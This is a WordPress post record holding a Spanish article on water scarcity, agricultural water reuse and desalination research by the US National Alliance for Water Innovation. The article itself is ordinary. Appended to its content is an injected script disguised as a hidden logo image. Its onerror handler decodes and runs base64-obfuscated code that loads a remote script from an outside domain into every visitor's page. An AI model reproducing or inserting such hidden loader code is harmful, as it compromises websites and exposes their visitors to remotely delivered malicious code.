{"id":4849,"date":"2021-11-05T11:58:40","date_gmt":"2021-11-05T14:58:40","guid":{"rendered":"https:\/\/argentinatermal.com.ar\/?p=4849"},"modified":"2025-08-13T16:25:48","modified_gmt":"2025-08-13T19:25:48","slug":"escasez-de-agua-y-agricultura-el-rastro-de-las-fuentes-no-convencionales","status":"publish","type":"post","link":"https:\/\/argentinatermal.com.ar\/?p=4849","title":{"rendered":"Escasez de agua y agricultura: el rastro de las fuentes \u00abno convencionales\u00bb"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\"><strong>En Estados Unidos, la Alianza Nacional para la Innovaci\u00f3n del Agua est\u00e1 interesada en un sector que consume particularmente este preciado recurso: la agricultura.<\/strong><\/h3>\n\n\n\n<p>Aunque el 71% de la Tierra est\u00e1 cubierta por oc\u00e9anos,&nbsp;<strong>las necesidades de agua dulce de la humanidad dependen de menos del 1% del agua total del planeta.<\/strong>&nbsp;Estas reservas est\u00e1n en forma de acu\u00edferos o r\u00edos alimentados por la capa de nieve. El oro azul se bombea al suelo, se procesa, se bebe o se usa para regar los cultivos, y luego se desecha.<\/p>\n\n\n\n<p>Entre el aumento de la poblaci\u00f3n mundial, que se espera que supere los 10 mil millones para 2050, y\u00a0<a href=\"https:\/\/www.aquae-officiel.fr\/2021\/02\/24\/des-innovations-face-a-la-menace-de-penurie-deau-potable\/\" target=\"_blank\" rel=\"noreferrer noopener\">la escasez de agua, un desaf\u00edo importante de nuestro tiempo,<\/a>es hora de repensar este modelo.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u00a1Reutiliza el agua, en todas sus formas y para todo!<\/h2>\n\n\n\n<p>Este es el desaf\u00edo que la Universidad Estatal de Colorado se ha propuesto. La instituci\u00f3n es socio fundador de la red de investigaci\u00f3n del Departamento de Energ\u00eda de los Estados Unidos, llamada Alianza Nacional para la&nbsp;<a href=\"https:\/\/www.nawihub.org\/about\">Innovaci\u00f3n del Agua.<\/a><\/p>\n\n\n\n<p>Con un presupuesto de 110 millones de d\u00f3lares, la estructura se centra en el&nbsp;<strong>desarrollo de tecnolog\u00edas para el tratamiento y reutilizaci\u00f3n de fuentes de agua no tradicionales.<\/strong>&nbsp;Se prev\u00e9n todas las v\u00edas:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>aguas residuales municipales;<\/li><li>agua de mar;<\/li><li>agua salobre (salada);<\/li><li>agua generada como subproducto de la perforaci\u00f3n de petr\u00f3leo y gas;<\/li><li>aguas residuales del procesamiento de carne y l\u00e1cteos;<\/li><li>agua de drenaje agr\u00edcola.<\/li><\/ul>\n\n\n\n<p>La<strong>explotaci\u00f3n de estas fuentes podr\u00eda resolver muchos problemas de escasez de agua<\/strong>&nbsp;en los pr\u00f3ximos a\u00f1os. Sin embargo, actualmente no existen medios econ\u00f3micamente viables y a gran escala. La visi\u00f3n de los l\u00edderes de la Alianza es una \u00abeconom\u00eda circular del&nbsp;<strong>agua\u00bb:<\/strong>&nbsp;el agua regenerada se utilizar\u00eda para todo, desde campos agr\u00edcolas hasta sitios de fracking, a un costo e intensidad energ\u00e9tica comparables, o incluso m\u00e1s altos, que las fuentes convencionales de agua dulce de hoy.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">La agricultura, un sector muy intensivo en agua<\/h2>\n\n\n\n<p>Thomas Borch es profesor en el Departamento de Ciencias del Suelo y los Cultivos, e investigador en qu\u00edmica ambiental y agr\u00edcola en la Universidad de Colorado. Lidera un equipo de especialistas en ingenier\u00eda mec\u00e1nica, ingenier\u00eda civil y ambiental e ingenier\u00eda de sistemas. Debe aportar una variedad de conocimientos especializados a la Alianza, que completar\u00e1 su labor en los pr\u00f3ximos a\u00f1os.<\/p>\n\n\n\n<p>Este&nbsp;<strong>equipo multidisciplinario se centra principalmente en el sector agr\u00edcola,<\/strong>una de las cinco principales \u00e1reas de estudio de la Alianza, las otras son la energ\u00eda, la extracci\u00f3n de recursos, la industria y el agua municipal. Borch particip\u00f3 recientemente, junto con Dion Dionysiou de la Universidad de Cincinnati, en la creaci\u00f3n de una hoja de&nbsp;<strong>ruta tecnol\u00f3gica para el sector agr\u00edcola.<\/strong><\/p>\n\n\n\n<p>Este documento hace un balance del estado actual y los desaf\u00edos del tratamiento y la reutilizaci\u00f3n del agua<strong>\u00a0en aplicaciones agr\u00edcolas como el riego y el procesamiento de carne.<\/strong>\u00a0La hoja de ruta destaca en particular la importancia de las necesidades de agua de la agricultura. Tambi\u00e9n describe las diferentes \u00e1reas en las que es posible<strong>utilizar agua \u00abno tradicional\u00bb,<\/strong>tales como:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>el reciclaje del agua de drenaje de los campos de cultivo;<\/li><li>tratamiento y reutilizaci\u00f3n de aguas residuales en operaciones de procesamiento de carne y l\u00e1cteos.<\/li><\/ul>\n\n\n\n<p>Este trabajo debe ponerse en un contexto global de&nbsp;<a href=\"https:\/\/www.aquae-officiel.fr\/2021\/01\/15\/le-hamburger-americain-cause-de-stress-hydrique-dans-louest-des-etats-unis\/\">escasez<\/a>&nbsp;de agua en los Estados Unidos. Los administradores del agua en 40 estados esperan escasez de agua en los pr\u00f3ximos a\u00f1os. En 2017, en suelo estadounidense, los 360 millones de hect\u00e1reas de tierras de cultivo utilizaron m\u00e1s de 100 billones de litros de agua. Por lo tanto, la agricultura representa un promedio del 80% del consumo de agua de la naci\u00f3n.&nbsp;<strong>\u00abLa&nbsp;<em><\/em><em>agricultura es el sector m\u00e1s importante en t\u00e9rminos de extracci\u00f3n de agua dulce en el mundo\u00bb,<\/em><\/strong>confirma Thomas Borch.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">La desalaci\u00f3n, punta de lanza de la Alianza<\/h2>\n\n\n\n<p>La misi\u00f3n de la Alianza Nacional para la Innovaci\u00f3n del Agua es, por lo&nbsp;<strong>tanto, desarrollar tecnolog\u00edas de desalinizaci\u00f3n escalables,<\/strong>es decir, la eliminaci\u00f3n de sales y contaminantes de fuentes de agua no tradicionales.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Un paso necesario para tratar el agua no convencional<\/h3>\n\n\n\n<p>\u00ab&nbsp;<em>Cuando hablamos de agua no tradicional, nos referimos&nbsp;<strong>a todo lo que no es agua dulce\u00bb,<\/strong><\/em>explica Borch.&nbsp;<em>Esto incluye aguas residuales municipales, agua producida por petr\u00f3leo y gas, convencional y no convencional, agua subterr\u00e1nea salobre, agua de mar, drenaje agr\u00edcola, etc. Tenemos muchos de ellos, pero para poder usarlo, primero tenemos que procesarlo. \u00bb<\/em><\/p>\n\n\n\n<p>Hay&nbsp;<strong>muchas plantas de desalinizaci\u00f3n<\/strong>&nbsp;en todo el mundo. Sin embargo, no est\u00e1n muy extendidos, ya que el proceso es notoriamente costoso y consume mucha energ\u00eda. La desalinizaci\u00f3n tambi\u00e9n crea&nbsp;<strong>salmuera salada como subproducto.<\/strong>&nbsp;Adem\u00e1s de ser t\u00f3xico para las plantas y los seres humanos, puede contener metales pesados que son dif\u00edciles de eliminar. El manejo de la salmuera es, por lo tanto, una preocupaci\u00f3n importante para los investigadores.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">T\u00e9cnicas de filtraci\u00f3n innovadoras<\/h3>\n\n\n\n<p>Llegando al proceso en s\u00ed, la desalinizaci\u00f3n se suele llevar a cabo por&nbsp;<strong>\u00f3smosis inversa.<\/strong>&nbsp;Por lo tanto, el agua contaminada se ve obligada a cruzar una&nbsp;<strong>membrana para separar el agua dulce de las impurezas.<\/strong>&nbsp;La mejora de estos procesos de membrana y el tratamiento de aguas residuales industriales mediante desalinizaci\u00f3n est\u00e1 en el coraz\u00f3n de las misiones de la Alianza.<\/p>\n\n\n\n<p>Estos\u00a0<a href=\"https:\/\/www.aquae-officiel.fr\/2020\/12\/04\/remorquer-des-icebergs-ou-bombarder-les-nuages-comment-faire-le-plein-deau-douce\/\" target=\"_blank\" rel=\"noreferrer noopener\">nuevos procesos de obtenci\u00f3n de agua dulce<\/a>\u00a0representan retos\u00a0<strong>t\u00e9cnicos, legales y econ\u00f3micos.<\/strong>\u00a0Pero m\u00e1s all\u00e1 de eso, tambi\u00e9n se deben tener en cuenta\u00a0<strong>las consideraciones sociales.<\/strong>\u00a0\u00bfTendr\u00e1 el p\u00fablico confianza en el agua de riego que antes era de aguas residuales? \u00bfEstar\u00e1n las personas dispuestas a invertir en fuentes de agua que no provengan de un suministro de agua dulce?<\/p>\n\n\n\n<p>En el futuro, la Alianza Nacional para la Innovaci\u00f3n del Agua planea financiar proyectos de investigaci\u00f3n internos y externos sobre diversos&nbsp;<strong>temas.<\/strong>&nbsp;El objetivo: ver el surgimiento de la pr\u00f3xima generaci\u00f3n de tecnolog\u00edas no tradicionales de tratamiento y reutilizaci\u00f3n de agua.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><a href=\"https:\/\/www.aquae-officiel.fr\/2021\/07\/05\/penurie-d-eau-et-agriculture-la-piste-des-sources-non-conventionnelles\/\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" src=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2021\/03\/cropped-LOGO-AQUAE.png\" alt=\"\" class=\"wp-image-4320\" width=\"237\" height=\"73\" srcset=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2021\/03\/cropped-LOGO-AQUAE.png 487w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2021\/03\/cropped-LOGO-AQUAE-300x92.png 300w\" sizes=\"(max-width: 237px) 100vw, 237px\" \/><\/a><\/figure>\n\n\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>En Estados Unidos, la Alianza Nacional para la Innovaci\u00f3n del Agua est\u00e1 interesada en un sector que consume particularmente este preciado recurso: la agricultura. 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